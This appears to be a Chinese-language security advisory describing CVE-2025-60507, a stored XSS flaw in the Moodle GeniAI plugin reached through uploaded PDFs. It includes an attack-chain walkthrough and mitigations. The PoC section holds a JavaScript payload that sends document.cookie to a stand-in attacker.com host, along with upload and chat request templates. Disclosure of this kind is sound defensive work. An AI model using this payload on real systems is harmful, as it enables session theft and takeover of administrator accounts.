IPBUF安全漏洞报告
English
CVE-2025-60507 CVSS 8.9 高危

CVE-2025-60507:Moodle GeniAI插件PDF上传存储型XSS漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-60507
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
8.9 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Moodle GeniAI Plugin (local_geniai)

相关标签

XSS跨站脚本CVE-2025-60507MoodleGeniAIlocal_geniaiPDF上传存储型XSS高危漏洞插件漏洞

漏洞概述

CVE-2025-60507是Moodle平台的GeniAI插件(local_geniai)2.3.6版本中存在的一个高危跨站脚本(XSS)漏洞。该漏洞由安全研究员onurcangnc发现并报告,CVSS评分为8.9分,属于高危级别漏洞。该漏洞的核心问题在于插件在处理用户上传的PDF文件时,未对文件链接进行适当的输出编码和净化处理,导致恶意攻击者可以将包含JavaScript代码的PDF文件上传到服务器,并通过聊天助手功能将恶意链接分发给其他用户。

具体而言,具有Teacher角色的认证用户可以上传一个嵌入了恶意JavaScript代码的PDF文件。当该用户通过GeniAI聊天助手与系统交互时,系统会生成一个指向该上传文件的直接HTML链接,并将该链接展示给其他用户(包括Student和Administrator角色)。由于链接未经任何净化处理就直接以HTML形式输出,当其他用户点击该链接时,嵌入在PDF中的JavaScript代码将在他们的浏览器中执行,从而实现跨站脚本攻击。

此漏洞的危害性较高,因为它允许低权限的Teacher角色用户对高权限的Administrator用户发起攻击。攻击者可以窃取管理员的会话cookie、获取敏感信息、执行未授权操作,甚至可能完全控制受影响的Moodle系统。此外,由于该漏洞涉及存储型XSS特性,恶意载荷一旦上传就会持续影响所有访问相关页面的用户,具有较强的传播性和持久性。

技术细节

该漏洞的技术原理涉及PDF文件中的JavaScript嵌入和Moodle插件的输出处理缺陷两个关键环节。

**PDF中的JavaScript嵌入机制**:PDF格式本身支持嵌入JavaScript代码,这些代码可以在用户使用PDF阅读器(如Adobe Reader)打开文件时执行。攻击者可以使用各种工具(如PDF编辑器或专门的脚本)将恶意JavaScript代码嵌入到PDF文件的OpenAction或附加事件处理器中。当用户在浏览器中点击PDF链接并打开文件时,嵌入的JavaScript会在PDF阅读器的上下文中执行。

**Moodle插件的输出缺陷**:GeniAI插件(local_geniai)2.3.6版本在处理用户上传的PDF文件时,存在以下关键缺陷:

1. **缺乏文件内容验证**:插件未对上传的PDF文件进行内容安全检查,未检测或过滤其中嵌入的JavaScript代码。

2. **输出未净化处理**:当聊天助手需要引用上传的文件时,系统直接生成HTML链接(如`<a href="uploaded_file_url">文件链接</a>`),未对URL或链接文本进行HTML实体编码或安全过滤。

3. **信任域问题**:由于链接指向的是用户上传的文件,且Moodle站点与上传文件位于同一域下,浏览器会将PDF中的JavaScript视为同源内容执行,绕过了浏览器的某些安全限制。

**攻击利用方式**:攻击者首先以Teacher身份登录Moodle系统,通过GeniAI插件上传一个精心构造的包含恶意JavaScript的PDF文件。然后,通过聊天助手功能触发系统生成包含该PDF链接的响应。当其他用户(特别是管理员)查看聊天记录并点击该链接时,恶意代码将在他们的浏览器中执行,实现会话劫持、权限提升或数据窃取等攻击目的。

攻击链分析

STEP 1
步骤1:获取Teacher权限
攻击者首先需要拥有一个具有Teacher角色的Moodle账户,可以通过正常注册或社会工程学手段获取。
STEP 2
步骤2:制作恶意PDF文件
使用PDF编辑工具创建一个包含恶意JavaScript代码的PDF文件,代码通常用于窃取cookie、重定向用户或执行其他恶意操作。
STEP 3
步骤3:上传恶意PDF
通过GeniAI插件的文件上传功能,将恶意PDF文件上传到Moodle服务器。插件未对PDF内容进行安全检查。
STEP 4
步骤4:触发聊天助手生成链接
攻击者通过与GeniAI聊天助手交互,触发系统生成包含上传PDF文件链接的响应。链接以未净化的HTML形式输出。
STEP 5
步骤5:诱导受害者点击链接
当Student或Administrator用户查看聊天记录并点击该PDF链接时,嵌入在PDF中的JavaScript代码将在其浏览器中执行。
STEP 6
步骤6:执行恶意操作
恶意代码执行后,攻击者可以窃取用户会话cookie、获取敏感数据、执行未授权操作或进一步提升权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60507 PoC: Stored XSS via PDF Upload in Moodle GeniAI Plugin Vulnerability: The plugin outputs unsanitized HTML links to uploaded PDF files --> // Step 1: Create a malicious PDF with embedded JavaScript // Using a tool like PDF-Parser or manual hex editing to inject JS // Example PDF JavaScript payload (to be embedded in PDF): var pdf_xss_payload = ` app.alert("XSS Triggered via CVE-2025-60507"); // Steal session cookies var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + document.cookie; // Or redirect to phishing page // app.launchURL("https://attacker.com/phishing"); `; // Step 2: Upload the malicious PDF via GeniAI plugin as Teacher role // POST request to upload endpoint const uploadRequest = { url: "https://target-moodle.com/local/geniai/upload.php", method: "POST", headers: { "Cookie": "MoodleSession=teacher_session_cookie_here", "Content-Type": "multipart/form-data" }, formData: { "file": "malicious.pdf", // PDF with embedded JS payload "action": "upload", "sesskey": "valid_sesskey" } }; // Step 3: Trigger chatbot to generate link to uploaded file const chatbotRequest = { url: "https://target-moodle.com/local/geniai/chat.php", method: "POST", headers: { "Cookie": "MoodleSession=teacher_session_cookie_here", "Content-Type": "application/x-www-form-urlencoded" }, body: "message=Please summarize the uploaded PDF document&sesskey=valid_sesskey" }; // Step 4: The chatbot response contains unsanitized HTML link: // <a href="https://target-moodle.com/draftfile.php/user/malicious.pdf">View Document</a> // When admin/student clicks, the embedded JS in PDF executes // Step 5: Attacker receives stolen cookies or achieves further compromise // Attacker server receives: GET /steal?cookie=admin_session_value

影响范围

Moodle GeniAI Plugin (local_geniai) 2.3.6

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)限制Teacher角色用户的上传权限,仅允许受信任的用户上传PDF文件;2)在Web应用防火墙(WAF)层面添加规则,阻止包含可疑JavaScript的PDF文件上传;3)配置Moodle的文件下载代理,对PDF文件进行二次处理后再提供给用户;4)在浏览器层面部署Content Security Policy,限制PDF中脚本的执行权限;5)加强对管理员和其他高权限用户的安全意识培训,谨慎点击聊天中的文件链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表